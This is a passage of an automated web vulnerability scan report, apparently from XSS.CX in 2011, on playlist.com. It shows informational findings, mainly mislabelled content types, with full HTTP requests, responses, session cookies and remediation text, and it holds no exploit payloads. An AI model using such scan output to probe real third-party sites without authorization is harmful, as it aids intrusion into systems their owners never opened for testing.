Host:   http://www.playlist.com
Path:   /scomplete/x.html

Request

GET /scomplete/x.html HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.2.10.1315276270; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:08 GMT
Content-Type: text/html
Content-Length: 324
Last-Modified: Tue, 24 Aug 2010 23:54:57 GMT
Connection: keep-alive
Expires: Tue, 06 Sep 2011 21:34:08 GMT
Cache-Control: max-age=86400
Accept-Ranges: bytes

Rihanna (http://mp3xa.net)|Rihanna (http://mp3xa.net)
One Republic (http://mp3xa.net)|One Republic (http://mp3xa.net)
The XX|The XX
The xx|The xx
xxx4reggie|xxx4reggie
Dr. Dre, Snoop Dogg, DMX, Nate D
...[SNIP]...

8.2. http://www.playlist.com/scomplete/x/s.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /scomplete/x/s.html

Request

GET /scomplete/x/s.html HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.2.10.1315276270; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:08 GMT
Content-Type: text/html
Content-Length: 90
Last-Modified: Tue, 24 Aug 2010 23:55:17 GMT
Connection: keep-alive
Expires: Tue, 06 Sep 2011 21:34:08 GMT
Cache-Control: max-age=86400
Accept-Ranges: bytes

Xscape|Xscape
xscape|xscape
xshort_loserx|xshort_loserx
XsToRmEr1|XsToRmEr1
XsakuX|XsakuX

8.3. http://www.playlist.com/scomplete/x/s/s.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /scomplete/x/s/s.html

Request

GET /scomplete/x/s/s.html HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.2.10.1315276270; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:08 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/0.7.61</center>
</body>
</html>

9. Content type incorrectly stated  previous
There are 4 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


9.1. http://www.playlist.com/api/user/login  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.playlist.com
Path:   /api/user/login

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

POST /api/user/login HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/prod/players/1082/searchplayer.swf
Content-Length: 16
Origin: http://www.playlist.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.7.9.1315276457371; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

cc=&app=wid%5Fse

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:20 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language: en_US
Vary: Accept-Encoding
Content-Length: 102


({"header":{"code":1,"msg":"Invalid username, password combination","time":1315258460},"body":[]})

9.2. http://www.playlist.com/async/searchbeta/tracks  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.playlist.com
Path:   /async/searchbeta/tracks

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /async/searchbeta/tracks?searchfor=xss&page=1&facet=all&_=1315276455668 HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracks
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:16 GMT
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: noindex, nofollow
Content-Language: en
Vary: Accept-Encoding
Content-Length: 4824


try {
   PPL.search.trackdata = [{"linkid":1069801489,"trackid":1069801492,"can_play":1,"status":1,"artist":"Tom Olzak","album":"","title":"Episode 34 - Web Application Security, P
...[SNIP]...

9.3. http://www.playlist.com/scomplete/x.html  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.playlist.com
Path:   /scomplete/x.html

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /scomplete/x.html HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.2.10.1315276270; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:08 GMT
Content-Type: text/html
Content-Length: 324
Last-Modified: Tue, 24 Aug 2010 23:54:57 GMT
Connection: keep-alive
Expires: Tue, 06 Sep 2011 21:34:08 GMT
Cache-Control: max-age=86400
Accept-Ranges: bytes

Rihanna (http://mp3xa.net)|Rihanna (http://mp3xa.net)
One Republic (http://mp3xa.net)|One Republic (http://mp3xa.net)
The XX|The XX
The xx|The xx
xxx4reggie|xxx4reggie
Dr. Dre, Snoop Dogg, DMX, Nate D
...[SNIP]...

9.4. http://www.playlist.com/scomplete/x/s.html  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.playlist.com
Path:   /scomplete/x/s.html

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /scomplete/x/s.html HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.2.10.1315276270; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:08 GMT
Content-Type: text/html
Content-Length: 90
Last-Modified: Tue, 24 Aug 2010 23:55:17 GMT
Connection: keep-alive
Expires: Tue, 06 Sep 2011 21:34:08 GMT
Cache-Control: max-age=86400
Accept-Ranges: bytes

Xscape|Xscape
xscape|xscape
xshort_loserx|xshort_loserx
XsToRmEr1|XsToRmEr1
XsakuX|XsakuX

Report generated by XSS.CX at Mon Sep 05 20:39:38 GMT-06:00 2011.